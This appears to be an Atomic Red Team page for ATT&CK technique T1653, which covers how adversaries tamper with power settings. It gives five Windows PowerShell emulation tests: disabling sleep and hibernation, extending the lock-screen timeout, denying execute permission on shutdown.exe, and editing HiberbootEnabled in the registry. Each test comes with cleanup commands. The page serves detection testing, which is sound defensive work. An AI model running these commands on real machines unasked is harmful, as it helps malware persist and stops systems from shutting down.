T1653

Description from ATT&CKCopy Anchor Link

Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)

Adversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)

For example, powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)

Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)

Source

Atomic TestsCopy Anchor Link

• Atomic Test #1: Prevent system sleep via powercfg (AC/DC standby timeout)
• Atomic Test #2: Disable hibernation via powercfg
• Atomic Test #3: Extend console lock display timeout via powercfg
• Atomic Test #4: Impair system shutdown capability by denying execute on shutdown.exe
• Atomic Test #5: Disable Fast Startup via direct registry modification (HiberbootEnabled)

Atomic Test #1: Prevent system sleep via powercfg (AC/DC standby timeout)Copy Anchor Link

Sets the active power plan's AC and DC standby timeouts to 0 (never), preventing the system from sleeping. Mirrors adversary abuse of powercfg to keep an infected host active indefinitely. Expected output: system will no longer enter standby on either AC or battery power until cleanup restores the original value.

Supported Platforms: Windows

auto_generated_guid: d4acd6ff-f41f-4ce6-8c12-2e0b23dd6ad2

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)Copy Anchor Link

$script:origAC = (powercfg /query SCHEME_CURRENT SUB_SLEEP STANDBYIDLE | Select-String "Current AC Power Setting Index" | ForEach-Object { ($_ -split ": ")[1].Trim() })
$script:origDC = (powercfg /query SCHEME_CURRENT SUB_SLEEP STANDBYIDLE | Select-String "Current DC Power Setting Index" | ForEach-Object { ($_ -split ": ")[1].Trim() })
powercfg /change standby-timeout-ac 0
powercfg /change standby-timeout-dc 0

Cleanup CommandsCopy Anchor Link

if ($script:origAC) { powercfg /setacvalueindex SCHEME_CURRENT SUB_SLEEP STANDBYIDLE $script:origAC; powercfg /setactive SCHEME_CURRENT }
if ($script:origDC) { powercfg /setdcvalueindex SCHEME_CURRENT SUB_SLEEP STANDBYIDLE $script:origDC; powercfg /setactive SCHEME_CURRENT }

Atomic Test #2: Disable hibernation via powercfgCopy Anchor Link

Disables hibernation entirely using powercfg /hibernate off, removing a disruption point that could terminate malicious activity when the system enters a dormant state. Expected output: hibernation is disabled; hiberfil.sys is removed. Cleanup re-enables hibernation.

Supported Platforms: Windows

auto_generated_guid: eb271877-e47d-4c13-aa1a-2735b2a93a07

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)Copy Anchor Link

$script:hibernateWasEnabled = (powercfg /availablesleepstates | Select-String "Hibernate") -ne $null
powercfg /hibernate off

Cleanup CommandsCopy Anchor Link

if ($script:hibernateWasEnabled) { powercfg /hibernate on }

Atomic Test #3: Extend console lock display timeout via powercfgCopy Anchor Link

Extends the console lock display timeout to a large value, delaying automatic screen-off while the PC is locked and keeping the session's display active longer than the configured policy intends. Expected output: display will not turn off on the lock screen until cleanup restores the original timeout.

Supported Platforms: Windows

auto_generated_guid: 84933ae7-edf6-4b93-8fc4-1871bbe4c43e

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)Copy Anchor Link

powercfg -attributes SUB_VIDEO VIDEOCONLOCK -ATTRIB_HIDE
$script:origLockAC = (powercfg /query SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK | Select-String "Current AC Power Setting Index" | ForEach-Object { ($_ -split ": ")[1].Trim() })
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 36000
powercfg /setactive SCHEME_CURRENT

Cleanup CommandsCopy Anchor Link

if ($script:origLockAC) { powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK $script:origLockAC; powercfg /setactive SCHEME_CURRENT }

Atomic Test #4: Impair system shutdown capability by denying execute on shutdown.exeCopy Anchor Link

Takes ownership of shutdown.exe (required since it's normally owned by TrustedInstaller) and denies the Everyone group execute permission, simulating adversary impairment of a system's ability to shut down without deleting the binary outright. Cleanup restores both the original ACL and ownership. Expected output: running shutdown.exe will fail with access denied until cleanup restores permissions and ownership.

Supported Platforms: Windows

auto_generated_guid: 7a77663f-1b58-4ec7-a6be-cc360cdb4655

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)Copy Anchor Link

$target = "C:\Windows\System32\shutdown.exe"
$backupPath = "$env:TEMP\shutdown_acl_backup.txt"
Push-Location (Split-Path $target)
icacls (Split-Path $target -Leaf) /save $backupPath | Out-Null
Pop-Location
takeown /f $target | Out-Null
icacls $target /grant "*S-1-5-32-544:F" | Out-Null
icacls $target /deny Everyone:RX

Cleanup CommandsCopy Anchor Link

$target = "C:\Windows\System32\shutdown.exe"
$backupPath = "$env:TEMP\shutdown_acl_backup.txt"
icacls $target /remove:d Everyone
if (Test-Path $backupPath) {
  Push-Location (Split-Path $target)
  icacls . /restore $backupPath | Out-Null
  Pop-Location
  Remove-Item $backupPath -Force -ErrorAction Ignore
}

Atomic Test #5: Disable Fast Startup via direct registry modification (HiberbootEnabled)Copy Anchor Link

Directly modifies HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Power\HiberbootEnabled rather than using the powercfg CLI, altering how the system behaves on shutdown (full shutdown vs. hybrid hibernate-backed fast startup). Exercises the registry-based detection path MITRE cites for this technique (monitoring HKLM\SYSTEM\CurrentControlSet\Control\Power and subkeys), distinct from the CLI-driven tests above. Expected output: Fast Startup is disabled; next shutdown will perform a full shutdown rather than a hybrid hibernate. Cleanup restores the original registry value.

Supported Platforms: Windows

auto_generated_guid: ac77e6c0-7b13-4d96-a53f-3bb0aeca96ec

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)Copy Anchor Link

$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Power"
$script:origValue = (Get-ItemProperty -Path $regPath -Name HiberbootEnabled -ErrorAction SilentlyContinue).HiberbootEnabled
Set-ItemProperty -Path $regPath -Name HiberbootEnabled -Value 0 -Type DWord

Cleanup CommandsCopy Anchor Link

$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Power"
if ($null -ne $script:origValue) {
  Set-ItemProperty -Path $regPath -Name HiberbootEnabled -Value $script:origValue -Type DWord
} else {
  Remove-ItemProperty -Path $regPath -Name HiberbootEnabled -ErrorAction SilentlyContinue
}

Atomic test(s) for this technique last updated: 2026-10-20 23:29:04 UTC